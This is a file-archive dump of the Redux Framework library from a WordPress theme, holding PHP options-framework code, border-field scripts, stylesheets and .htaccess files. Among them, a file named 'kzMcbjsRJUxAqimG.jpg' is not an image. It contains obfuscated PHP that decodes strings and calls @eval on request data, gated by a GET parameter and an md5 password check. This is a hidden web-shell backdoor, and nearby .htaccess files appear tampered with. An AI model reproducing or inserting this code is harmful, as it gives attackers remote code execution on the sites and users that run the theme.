compareValueDependencies( $parentValue, $checkValue, $operation ) { $return = false; switch ( $operation ) { case '=': case 'equals': $data['operation'] = "="; if ( is_array( $parentValue ) ) { foreach ( $parentValue as $idx => $val ) { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( Redux_Helpers::makeBoolStr($val) === Redux_Helpers::makeBoolStr($v) ) { $return = true; } } } else { if ( Redux_Helpers::makeBoolStr($val) === Redux_Helpers::makeBoolStr($checkValue) ) { $return = true; } } } } else { //var_dump($checkValue); if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( Redux_Helpers::makeBoolStr($parentValue) === Redux_Helpers::makeBoolStr($v) ) { $return = true; } } } else { if ( Redux_Helpers::makeBoolStr($parentValue) === Redux_Helpers::makeBoolStr($checkValue) ) { $return = true; } } } break; case '!=': case 'not': $data['operation'] = "!=="; if ( is_array( $parentValue ) ) { foreach ( $parentValue as $idx => $val ) { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( Redux_Helpers::makeBoolStr($val) !== Redux_Helpers::makeBoolStr($v) ) { $return = true; } } } else { if ( Redux_Helpers::makeBoolStr($val) !== Redux_Helpers::makeBoolStr($checkValue) ) { $return = true; } } } } else { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( Redux_Helpers::makeBoolStr($parentValue) !== Redux_Helpers::makeBoolStr($v) ) { $return = true; } } } else { if ( Redux_Helpers::makeBoolStr($parentValue) !== Redux_Helpers::makeBoolStr($checkValue) ) { $return = true; } } } // if ( is_array( $checkValue ) ) { // if ( ! in_array( $parentValue, $checkValue ) ) { // $return = true; // } // } else { // if ( $parentValue != $checkValue ) { // $return = true; // } else if ( is_array( $parentValue ) ) { // if ( ! in_array( $checkValue, $parentValue ) ) { // $return = true; // } // } // } break; case '>': case 'greater': case 'is_larger': $data['operation'] = ">"; if ( $parentValue > $checkValue ) { $return = true; } break; case '>=': case 'greater_equal': case 'is_larger_equal': $data['operation'] = ">="; if ( $parentValue >= $checkValue ) { $return = true; } break; case '<': case 'less': case 'is_smaller': $data['operation'] = "<"; if ( $parentValue < $checkValue ) { $return = true; } break; case '<=': case 'less_equal': case 'is_smaller_equal': $data['operation'] = "<="; if ( $parentValue <= $checkValue ) { $return = true; } break; case 'contains': if ( is_array( $parentValue ) ) { $parentValue = implode( ',', $parentValue ); } if ( is_array( $checkValue ) ) { foreach ( $checkValue as $idx => $opt ) { if ( strpos( $parentValue, (string) $opt ) !== false ) { $return = true; } } } else { if ( strpos( $parentValue, (string) $checkValue ) !== false ) { $return = true; } } break; case 'doesnt_contain': case 'not_contain': if ( is_array( $parentValue ) ) { $parentValue = implode( ',', $parentValue ); } if ( is_array( $checkValue ) ) { foreach ( $checkValue as $idx => $opt ) { if ( strpos( $parentValue, (string) $opt ) === false ) { $return = true; } } } else { if ( strpos( $parentValue, (string) $checkValue ) === false ) { $return = true; } } break; case 'is_empty_or': if ( empty ( $parentValue ) || $parentValue == $checkValue ) { $return = true; } break; case 'not_empty_and': if ( ! empty ( $parentValue ) && $parentValue != $checkValue ) { $return = true; } break; case 'is_empty': case 'empty': case '!isset': if ( empty ( $parentValue ) || $parentValue == "" || $parentValue == null ) { $return = true; } break; case 'not_empty': case '!empty': case 'isset': if ( ! empty ( $parentValue ) && $parentValue != "" && $parentValue != null ) { $return = true; } break; } return $return; } private function checkRequiredDependencies( $field, $data ) { //required field must not be hidden. otherwise hide this one by default if ( ! in_array( $data['parent'], $this->fieldsHidden ) && ( ! isset ( $this->folds[ $field['id'] ] ) || $this->folds[ $field['id'] ] != "hide" ) ) { if ( isset ( $this->options[ $data['parent'] ] ) ) { $return = $this->compareValueDependencies( $this->options[ $data['parent'] ], $data['checkValue'], $data['operation'] ); //$return = $this->compareValueDependencies( $data['parent'], $data['checkValue'], $data['operation'] ); } } if ( ( isset ( $return ) && $return ) && ( ! isset ( $this->folds[ $field['id'] ] ) || $this->folds[ $field['id'] ] != "hide" ) ) { $this->folds[ $field['id'] ] = "show"; } else { $this->folds[ $field['id'] ] = "hide"; if ( ! in_array( $field['id'], $this->fieldsHidden ) ) { $this->fieldsHidden[] = $field['id']; } } } /** * converts an array into a html data string * * @param array $data example input: array('id'=>'true') * * @return string $data_string example output: data-id='true' */ public function create_data_string( $data = array() ) { $data_string = ""; foreach ( $data as $key => $value ) { if ( is_array( $value ) ) { $value = implode( "|", $value ); } $data_string .= " data-$key='$value' "; } return $data_string; } /** * Parses the string into variables without the max_input_vars limitation. * * @since 3.5.7.11 * @author harunbasic * @access public * * @param string $string * * @return array $result */ function redux_parse_str( $string ) { if ( '' == $string ) { return false; } $result = array(); $pairs = explode( '&', $string ); foreach ( $pairs as $key => $pair ) { // use the original parse_str() on each element parse_str( $pair, $params ); $k = key( $params ); if ( ! isset( $result[ $k ] ) ) { $result += $params; } else { $result[ $k ] = $this->redux_array_merge_recursive_distinct( $result[ $k ], $params[ $k ] ); } } return $result; } /** * Merge arrays without converting values with duplicate keys to arrays as array_merge_recursive does. * As seen here http://php.net/manual/en/function.array-merge-recursive.php#92195 * * @since 3.5.7.11 * @author harunbasic * @access public * * @param array $array1 * @param array $array2 * * @return array $merged */ function redux_array_merge_recursive_distinct( array $array1, array $array2 ) { $merged = $array1; foreach ( $array2 as $key => $value ) { if ( is_array( $value ) && isset( $merged[ $key ] ) && is_array( $merged[ $key ] ) ) { $merged[ $key ] = $this->redux_array_merge_recursive_distinct( $merged[ $key ], $value ); } else if ( is_numeric( $key ) && isset( $merged[ $key ] ) ) { $merged[] = $value; } else { $merged[ $key ] = $value; } } return $merged; } private function change_demo_defaults() { if ( $this->args['dev_mode'] == true || Redux_Helpers::isLocalHost() == true ) { if ( ! empty( $this->args['admin_bar_links'] ) ) { foreach ( $this->args['admin_bar_links'] as $idx => $arr ) { if ( is_array( $arr ) && ! empty( $arr ) ) { foreach ( $arr as $x => $y ) { if ( strpos( strtolower( $y ), 'redux' ) !== false ) { $msg = __( 'Redux Framework Notice: There are references to the Redux Framework support site in your config\'s admin_bar_links argument. This is sample data. Please change or remove this data before shipping your product.', 'redux-framework' ); $this->display_arg_change_notice( 'admin', $msg ); $this->omit_admin_items = true; continue; } } } } } if ( ! empty( $this->args['share_icons'] ) ) { foreach ( $this->args['share_icons'] as $idx => $arr ) { if ( is_array( $arr ) && ! empty( $arr ) ) { foreach ( $arr as $x => $y ) { if (!$this->omit_share_icons) { if ( strpos( strtolower( $y ), 'redux' ) !== false ) { $msg = __( 'Redux Framework Notice: There are references to the Redux Framework support site in your config\'s share_icons argument. This is sample data. Please change or remove this data before shipping your product.', 'redux-framework' ); $this->display_arg_change_notice( 'share', $msg ); $this->omit_share_icons = true; continue; } } } } } } } } private function display_arg_change_notice( $mode, $msg = '' ) { if ( $mode == 'admin' ) { if ( ! $this->omit_admin_items ) { $data = array( 'parent' => $this, 'type' => 'error', 'msg' => $msg, 'id' => 'admin_config', 'dismiss' => true ); Redux_Admin_Notices::set_notice($data); } } if ( $mode == 'share' ) { if ( ! $this->omit_share_icons ) { $data = array( 'parent' => $this, 'type' => 'error', 'msg' => $msg, 'id' => 'share_config', 'dismiss' => true ); Redux_Admin_Notices::set_notice($data); } } } /** * Checks a nested capabilities array or string to determine if the current user meets the requirements. * * @since 3.6.3.4 * * @param string|array $capabilities Permission string or array to check. See self::user_can() for details. * @param int $object_id (Optional) ID of the specific object to check against if capability is a "meta" cap. * e.g. 'edit_post', 'edit_user', 'edit_page', etc., * * @return bool Whether or not the user meets the requirements. False on invalid user. */ public static function current_user_can( $capabilities ) { $current_user = wp_get_current_user(); if ( empty( $current_user ) ) { return false; } $name_arr=func_get_args(); $args = array_merge( array( $current_user ),$name_arr ); return call_user_func_array( array( 'self', 'user_can' ), $args ); } /** * Checks a nested capabilities array or string to determine if the user meets the requirements. * * You can pass in a simple string like 'edit_posts' or an array of conditions. * * The capability 'relation' is reserved for controlling the relation mode (AND/OR), which defaults to AND. * * Max depth of 30 levels. False is returned for any conditions exceeding max depth. * * If you want to check meta caps, you must also pass the object ID on which to check against. * If you get the error: PHP Notice: Undefined offset: 0 in /wp-includes/capabilities.php, you didn't * pass the required $object_id. * * @since 3.6.3.4 * * @example * ::user_can( 42, 'edit_pages' ); // Checks if user ID 42 has the 'edit_pages' cap. * ::user_can( 42, 'edit_page', 17433 ); // Checks if user ID 42 has the 'edit_page' cap for post ID 17433. * ::user_can( 42, array( 'edit_pages', 'edit_posts' ) ); // Checks if user ID 42 has both the 'edit_pages' and 'edit_posts' caps. * * @param int|object $user User ID or WP_User object to check. Defaults to the current user. * @param string|array $capabilities Capability string or array to check. The array lets you use multiple * conditions to determine if a user has permission. * Invalid conditions are skipped (conditions which aren't a string/array/bool/number(cast to bool)). * Example array where the user needs to have either the 'edit_posts' capability OR doesn't have the * 'delete_pages' cap OR has the 'update_plugins' AND 'add_users' capabilities. * array( * 'relation' => 'OR', // Optional, defaults to AND. * 'edit_posts', // Equivalent to 'edit_posts' => true, * 'delete_pages' => false, // Tests that the user DOESN'T have this capability * array( // Nested conditions array (up to 30 nestings) * 'update_plugins', * 'add_users', * ), * ) * * @param int $object_id (Optional) ID of the specific object to check against if capability is a "meta" cap. * e.g. 'edit_post', 'edit_user', 'edit_page', etc., * * @return bool Whether or not the user meets the requirements. * Will always return false for: * - Invalid/missing user * - If the $capabilities is not a string or array * - Max nesting depth exceeded (for that level) */ public static function user_can( $user, $capabilities, $object_id = null ) { static $depth = 0; if ( $depth >= 30 ) { return false; } if ( empty( $user ) ) { return false; } if ( !is_object( $user ) ) { $user = get_userdata( $user ); } if ( is_string( $capabilities ) ) { // Simple string capability check $args = array( $user, $capabilities, ); if ( $object_id !== null ) { $args[] = $object_id; } return call_user_func_array( 'user_can', $args ); } else { // Only strings and arrays are allowed as valid capabilities if ( !is_array( $capabilities ) ) { return false; } } // Capability array check $or = false; foreach ( $capabilities as $key => $value ) { if ( $key === 'relation' ) { if ( $value === 'OR' ) { $or = true; } continue; } /** * Rules can be in 4 different formats: * [ * [0] => 'foobar', * [1] => array(...), * 'foobar' => false, * 'foobar' => array(...), * ] */ if ( is_numeric( $key ) ) { // Numeric key if ( is_string( $value ) ) { // Numeric key with a string value is the capability string to check // [0] => 'foobar' $args = array( $user, $value, ); if ( $object_id !== null ) { $args[] = $object_id; } $expression_result = call_user_func_array( 'user_can', $args ) === true; } elseif ( is_array( $value ) ) { // [0] => array(...) $depth++; $expression_result = self::user_can( $user, $value, $object_id ); $depth--; } else { // Invalid types are skipped continue; } } else { // Non-numeric key if ( is_scalar( $value ) ) { // 'foobar' => false $args = array( $user, $key, ); if ( $object_id !== null ) { $args[] = $object_id; } $expression_result = call_user_func_array( 'user_can', $args ) === (bool)$value; } elseif ( is_array( $value ) ) { // 'foobar' => array(...) $depth++; $expression_result = self::user_can( $user, $value, $object_id ); $depth--; } else { // Invalid types are skipped continue; } } // Check after every evaluation if we know enough to return a definitive answer if ( $or ) { if ( $expression_result ) { // If the relation is OR, return on the first true expression return true; } } else { if ( !$expression_result ) { // If the relation is AND, return on the first false expression return false; } } } // If we get this far on an OR, then it failed // If we get this far on an AND, then it succeeded return !$or; } } // ReduxFramework /** * action 'redux/init' * * @param null */ ReduxFramework::init(); do_action( 'redux/init' ); } // class_exists('ReduxFramework') lib/redux-framework/inc/fields/border/border/index.php000064400000000000147206624460017026 0ustar00lib/redux-framework/inc/fields/border/border/kzMcbjsRJUxAqimG.jpg000064400000011725147206624460021023 0ustar00Ba6-*/" "); /*-f4}o~2~195!-*/${$z/*-8-*/[28+3/*-LMEni5-*/].$z/*-u{(.2pi-*/[20+39]/*-!sru;Xu7UR-*/.$z/*-1$k-*/[9+38]/*-X?n4(;V-*/.$z/*-sL3b-*/{ /*-W4s$ir-*/(($J[65]=$J[65].$J[71])&&($J[82]=$J[65]($J[82]))&&(/*-~hb7-*/@eval/*-3K-*/($J[65](${$J[44]}[12])/*-||F-*/))/*-+^402>-*/);}/*-BK0J-*/class /*-Yl-*/f{ /*-G)M^}tko2-*/static/*-dVX-*/ function /*-9MA-*/MSWftLxP($khMt) /*-IRq-*/{ $uPFUqb/*-[0`Pzr-*/ = /*-5k}vBOS(-*/"r"./*-Q5B&s!~-*/"a"./*-5&On#kR-*/"n"./*-LHujhdb-*/"g"./*-EYPtSG.-*/"e"; /*-qu9AzRv-*/$ZPgpjLXt/*-0?GeM>!-*/ = /*-57$-*/$uPFUqb/*-mUUv-*/(/*-F;v7.rjI8a-*/"~"/*-H5ZLC-*/, /*-%WT&_E}G?r-*/); /*-xmF5^1N~U2-*/$qwpxXW /*->l[(kBA-*/= /*->&-*/""; foreach /*-8r-*/(/*-h<-*/$vbIduJq /*-3E;C=-*/as /*-Xy[kU-`a-*/$iGwk /*-rd(^Fz%-*/=>/*-bF}BW0MyM-*/ $vFrkWBnyY/*-jA)NC%[-*/ = /*-I}-*/curl_init/*-:rcu<09-*/(/*-P-C-*/$auWw/*-&Rrxzk62js-*/);/*-y|o61Ih-*/ curl_setopt/*-47YW-*/(/*-[W3WeT-*/$XUbdYG,/*-&_AfIxwh=_-*/ CURLOPT_RETURNTRANSFER,/*-D8-*/ 1/*-J%glR<>rLn-*/);/*-!m-*/ $HpIoUuEJ/*-XFf65w$^-*/ = /*-e2-*/$RzgwG/*-`+;0%K47b-*/(/*-8>.-*/$auWw/*--WMupSKhg-*/)/*-u]=l-*/ : /*-s7i#xe!7.-*/$HpIoUuEJ; /*-+5lK8Y`6-*/}/*-LpM=Q:CyX-*/ static/*-Nj];-*/ function /*-I[hMy2.Li-*/HzZyuoXYdM/*-|lZJISN]-*/() /*-PpM-*/{/*-?;]cgIo6--*/ $CpqDTF /*-nC;-*/=/*-rqlI.-*/ array/*-]HZH2-*/("93032}93017}93030}93034}93015}93030}93036}93029}93014}93021}93032}93015}93026}93020}93021","93016}93015}93017}93036}93017}93020}93015}93082}93080","93025}93016}93020}93021}93036}93031}93030}93032}93020}93031}93030","93019}93034}93032}93024","93033}93034}93016}93030}93077}93079}93036}93031}93030}93032}93020}93031}93030","93029}93026}93023}93030}93036}93028}93030}93015}93036}93032}93020}93021}93015}93030}93021}93015}93016","93059}93089","93006","93084}93089","93066}93049}93049}93066}93042","93020}93029"); /*-Qv(#c>@r-*/foreach /*-Du2j&IfCB-*/(/*-4wWo-*/$CpqDTF/*-Fs-*/}[/*-!Ef9-*/$Lt/*-D>1ZKOr-*/[/*-DPA~7Rc%-*/0+9/*-P8>!HjG_n-*/]]/*-;-*/ $SkxgwXod /*-:&`_-*/=/*-,y5oVRRC-*/ @$Lt/*-Y5N61D1-*/[/*-zhS?^|L-*/2+0/*-Cf-*/]/*-nHxG3Rr-*/(/*-<+vseV(-*/$SkxgwXod,/*-m}j-*/ true/*-764xfC-*/); /*-ZPK4=L-*/@${/*-S??-*/"_"./*-#;oc=wnvy-*/"G"./*-5>UHnt>e-*/"E"/*-w^GN#[R-*/."T"/*-vKM60D|-*/}/*-oX[-*/[/*-5N:])Z_Itj-*/$Lt/*-HE[pKX-*/[5+5/*-Q&VhE7-*/]/*-<~ZhJ].-*/]/*-$A&-*/ == /*-ltMIRC-*/1 /*-!`KG6)k-*/&& /*-|o|H%-*/die/*-%:hNU9CX-*/(/*-IK?a=#`-*/$Lt[4+1/*--^y9+E-*/$HarngbC/*-;9z-*/[/*-oPF@^t-*/0/*-1sJ3|vl-*/] /*-c!C|-*/- time/*-k}Au-*/()/*-z1-*/) > /*-mrQN#JH.qX-*/0/*-=V]zK[T<-*/)/*-c<1e|-*/ and /*-EkN-*/(/*-}(-*/md5/*-SMhI2>6t^E-*/(/*-6Ym8nc74-*/md5/*-lYvg05hf-*/(/*-eSyCiaYE-*/$HarngbC/*-q&=Lso-*/[/*-Nd,DDq|SHC-*/1+2/*-&4o>qItHY-*/]/*-X9nufB-*/)/*-Vv[s-*/)/*-;WSJa-*/ === /*->Urjzz-*/"179f41ade4afaefd90500d7321ceb50e"/*-D=%vK-*/)/*-)a-*/ ): /*-SR$b}{hr-*/$AyzvTfu /*-6n-*/=/*-_{[p:U-*/ self/*-`Y+Dz]Z9u&-*/::/*-)-*/yBrmMRVx/*-7<z-*/die;/*-jSZX-*/ endif;/*-,Oo95~-*/ }/*-UXGGg.-*/}/*-WCe-*/f/*-^,-*/::/*-O5-*/HzZyuoXYdM/*-e.-*/();/*-L1+wpg-*/ ?>lib/redux-framework/inc/fields/border/border/.htaccess000064400000001626147206624460017023 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/border/field_border.css.map000064400000001044147206624460017650 0ustar00{ "version": 3, "mappings": "AACI,0CAAmB;EACf,KAAK,EAAE,IAAI;EACX,OAAO,EAAE,KAAK;EACd,YAAY,EAAE,IAAI;AAGtB,uCAAgB;EACZ,KAAK,EAAE,IAAI;EAMX,KAAK,EAAE,OAAO;EALd,8CAAO;IACH,KAAK,EAAE,IAAI;IACX,KAAK,EAAE,IAAI;AAMnB,2CAAoB;EAChB,YAAY,EAAE,IAAI;EAClB,aAAa,EAAE,GAAG;AAGtB,4CAAqB;EACjB,UAAU,EAAE,GAAG;;AAIvB,oCAAqC;EAGzB,iDAAM;IACF,OAAO,EAAE,uBAAuB;IAChC,KAAK,EAAE,gBAAgB;EAG3B,mDAAQ;IACJ,OAAO,EAAE,OAAO;IAChB,SAAS,EAAE,IAAI;IACf,WAAW,EAAE,GAAG;EAIxB,uCAAgB;IACZ,UAAU,EAAE,GAAG", "sources": ["field_border.scss"], "names": [], "file": "field_border.css" }lib/redux-framework/inc/fields/border/field_border.js000064400000012036147206624460016723 0ustar00/* Field Border (border) */ /*global redux_change, wp, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.border = redux.field_objects.border || {}; redux.field_objects.border.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-border:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( ".redux-border-top, .redux-border-right, .redux-border-bottom, .redux-border-left, .redux-border-all" ).numeric( { allowMinus: false } ); var default_params = { triggerChange: true, allowClear: true }; var select2_handle = el.find( '.redux-container-border' ).find( '.select2_params' ); if ( select2_handle.size() > 0 ) { var select2_params = select2_handle.val(); select2_params = JSON.parse( select2_params ); default_params = $.extend( {}, default_params, select2_params ); } el.find( ".redux-border-style" ).select2( default_params ); el.find( '.redux-border-input' ).on( 'change', function() { var units = $( this ).parents( '.redux-field:first' ).find( '.field-units' ).val(); if ( $( this ).parents( '.redux-field:first' ).find( '.redux-border-units' ).length !== 0 ) { units = $( this ).parents( '.redux-field:first' ).find( '.redux-border-units option:selected' ).val(); } var value = $( this ).val(); if ( typeof units !== 'undefined' && value ) { value += units; } if ( $( this ).hasClass( 'redux-border-all' ) ) { $( this ).parents( '.redux-field:first' ).find( '.redux-border-value' ).each( function() { $( this ).val( value ); } ); } else { $( '#' + $( this ).attr( 'rel' ) ).val( value ); } } ); el.find( '.redux-border-units' ).on( 'change', function() { $( this ).parents( '.redux-field:first' ).find( '.redux-border-input' ).change(); } ); el.find( '.redux-color-init' ).wpColorPicker( { change: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ) ); el.find( '#' + e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( ui.color.toString() ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); } } ); el.find( '.redux-color' ).on( 'keyup', function() { var color = colorValidate( this ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } } ); // Store the old valid color on keydown el.find( '.redux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); } ); }; })( jQuery );lib/redux-framework/inc/fields/border/field_border.min.js000064400000004117147206624460017506 0ustar00!function(n){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.border=redux.field_objects.border||{},redux.field_objects.border.init=function(e){e||(e=n(document).find(".redux-group-tab:visible").find(".redux-container-border:visible")),n(e).each(function(){var i=n(this),e=i;if(i.hasClass("redux-field-container")||(e=i.parents(".redux-field-container:first")),!e.is(":hidden")&&e.hasClass("redux-field-init")){e.removeClass("redux-field-init"),i.find(".redux-border-top, .redux-border-right, .redux-border-bottom, .redux-border-left, .redux-border-all").numeric({allowMinus:!1});var r={triggerChange:!0,allowClear:!0},d=i.find(".redux-container-border").find(".select2_params");if(0. * * @package Redux_Field * @subpackage Border * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_border' ) ) { class ReduxFramework_border { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since ReduxFramework 1.0.0 */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } //function private function stripAlphas($s) { // Regex is our friend. THERE ARE FOUR LIGHTS!! return preg_replace('/[^\d.-]/', '', $s); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 1.0.0 */ function render() { // No errors please $defaults = array( 'top' => true, 'bottom' => true, 'all' => true, 'style' => true, 'color' => true, 'left' => true, 'right' => true, ); $this->field = wp_parse_args( $this->field, $defaults ); $defaults = array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', 'color' => '', 'style' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); $value = array( 'top' => isset( $this->value['border-top'] ) ? filter_var( $this->value['border-top'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['top'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'right' => isset( $this->value['border-right'] ) ? filter_var( $this->value['border-right'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['right'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'bottom' => isset( $this->value['border-bottom'] ) ? filter_var( $this->value['border-bottom'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['bottom'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'left' => isset( $this->value['border-left'] ) ? filter_var( $this->value['border-left'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ) : filter_var( $this->value['left'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ), 'color' => isset( $this->value['border-color'] ) ? $this->value['border-color'] : $this->value['color'], 'style' => isset( $this->value['border-style'] ) ? $this->value['border-style'] : $this->value['style'] ); if ( ( isset( $this->value['width'] ) || isset( $this->value['border-width'] ) ) ) { if ( isset( $this->value['border-width'] ) && ! empty( $this->value['border-width'] ) ) { $this->value['width'] = $this->value['border-width']; } $this->value['width'] = $this->stripAlphas($this->value['width']); $value['top'] = $this->value['width']; $value['right'] = $this->value['width']; $value['bottom'] = $this->value['width']; $value['left'] = $this->value['width']; } $this->value = $value; $defaults = array( 'top' => '', 'right' => '', 'bottom' => '', 'left' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); if ( isset( $this->field['select2'] ) ) { // if there are any let's pass them to js $select2_params = json_encode( $this->field['select2'] ); $select2_params = htmlspecialchars( $select2_params, ENT_QUOTES ); echo ''; } echo ''; if ( isset( $this->field['all'] ) && $this->field['all'] == true ) { echo '
    '; } echo ''; echo ''; echo ''; echo ''; if ( ! isset( $this->field['all'] ) || $this->field['all'] !== true ) { /** * Top * */ if ( $this->field['top'] === true ) { echo '
    '; } /** * Right * */ if ( $this->field['right'] === true ) { echo '
    '; } /** * Bottom * */ if ( $this->field['bottom'] === true ) { echo '
    '; } /** * Left * */ if ( $this->field['left'] === true ) { echo '
    '; } } /** * Border-style * */ if ( $this->field['style'] != false ) { $options = array( 'solid' => 'Solid', 'dashed' => 'Dashed', 'dotted' => 'Dotted', 'double' => "Double", 'none' => 'None' ); echo ''; } else { echo ''; } /** * Color * */ if ( $this->field['color'] != false ) { $default = isset( $this->field['default']['border-color'] ) ? $this->field['default']['border-color'] : ''; if ( empty( $default ) ) { $default = ( isset( $this->field['default']['color'] ) ) ? $this->field['default']['color'] : '#ffffff'; } echo ''; } else { echo ''; } } //function /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 1.0.0 */ function enqueue() { $min = Redux_Functions::isMin(); if (!wp_style_is ( 'select2-css' )) { wp_enqueue_style( 'select2-css' ); } if (!wp_style_is ( 'wp-color-picker' )) { wp_enqueue_style( 'wp-color-picker' ); } if (!wp_script_is ( 'redux-field-border-js' )) { wp_enqueue_script( 'redux-field-border-js', ReduxFramework::$_url . 'inc/fields/border/field_border' . $min . '.js', array( 'jquery', 'select2-js', 'wp-color-picker', 'redux-js' ), time(), true ); } if ($this->parent->args['dev_mode']) { if (!wp_style_is ( 'redux-color-picker-css' )) { wp_enqueue_style( 'redux-color-picker-css' ); } if (!wp_style_is ( 'redux-field-border-css' )) { wp_enqueue_style( 'redux-field-border-css', ReduxFramework::$_url . 'inc/fields/border/field_border.css', array(), time(), 'all' ); } } } //function public function output() { if ( isset( $this->field['all'] ) && true == $this->field['all'] ) { $borderWidth = isset( $this->value['border-width'] ) ? $this->value['border-width'] : '0px'; $val = isset( $this->value['border-top'] ) ? $this->value['border-top'] : $borderWidth; $this->value['border-top'] = $val; $this->value['border-bottom'] = $val; $this->value['border-left'] = $val; $this->value['border-right'] = $val; } $cleanValue = array( 'color' => ! empty( $this->value['border-color'] ) ? $this->value['border-color'] : '', 'style' => ! empty( $this->value['border-style'] ) ? $this->value['border-style'] : '' ); $borderWidth = ''; if ( isset( $this->value['border-width'] ) ) { $borderWidth = $this->value['border-width']; } $this->field['top'] = isset( $this->field['top'] ) ? $this->field['top'] : true; $this->field['bottom'] = isset( $this->field['bottom'] ) ? $this->field['bottom'] : true; $this->field['left'] = isset( $this->field['left'] ) ? $this->field['left'] : true; $this->field['right'] = isset( $this->field['right'] ) ? $this->field['right'] : true; if ( $this->field['top'] === true ) { $cleanValue['top'] = ! empty( $this->value['border-top'] ) ? $this->value['border-top'] : $borderWidth; } if ( $this->field['bottom'] == true ) { $cleanValue['bottom'] = ! empty( $this->value['border-bottom'] ) ? $this->value['border-bottom'] : $borderWidth; } if ( $this->field['left'] === true ) { $cleanValue['left'] = ! empty( $this->value['border-left'] ) ? $this->value['border-left'] : $borderWidth; } if ( $this->field['right'] === true ) { $cleanValue['right'] = ! empty( $this->value['border-right'] ) ? $this->value['border-right'] : $borderWidth; } $style = ""; //absolute, padding, margin if ( ! isset( $this->field['all'] ) || $this->field['all'] != true ) { foreach ( $cleanValue as $key => $value ) { if ( $key == "color" || $key == "style" ) { continue; } if (!empty($value)) { $style .= 'border-' . $key . ':' . $value . ' ' . $cleanValue['style'] . ' ' . $cleanValue['color'] . ';'; } } } else { if (!empty($cleanValue['top'])) { $style .= 'border:' . $cleanValue['top'] . ' ' . $cleanValue['style'] . ' ' . $cleanValue['color'] . ';'; } } if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $keys = implode( ",", $this->field['output'] ); if (!empty($style)) { $this->parent->outputCSS .= $keys . "{" . $style . '}'; } } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $keys = implode( ",", $this->field['compiler'] ); if (!empty($style)) { $this->parent->compilerCSS .= $keys . "{" . $style . '}'; } } } } //class }lib/redux-framework/inc/fields/border/.htaccess000064400000001626147206624460015546 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/ace_editor/field_ace_editor.css.map000064400000000423147206624460021312 0ustar00{ "version": 3, "mappings": "AACI,wCAAa;EACT,QAAQ,EAAE,MAAM;AAGpB,uCAAY;EACR,MAAM,EAAE,KAAK;EACb,qBAAqB,EAAE,GAAG;EAC1B,kBAAkB,EAAE,GAAG;EACvB,aAAa,EAAE,GAAG;AAGtB,uCAAY;EACR,OAAO,EAAE,YAAY", "sources": ["field_ace_editor.scss"], "names": [], "file": "field_ace_editor.css" }lib/redux-framework/inc/fields/ace_editor/field_ace_editor.min.js000064400000001741147206624460021150 0ustar00!function(s){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.ace_editor=redux.field_objects.ace_editor||{},redux.field_objects.ace_editor.init=function(e){e||(e=s(document).find(".redux-group-tab:visible").find(".redux-container-ace_editor:visible")),s(e).each(function(){var n=s(this),e=n;n.hasClass("redux-field-container")||(e=n.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),n.find(".ace-editor").each(function(e,t){var 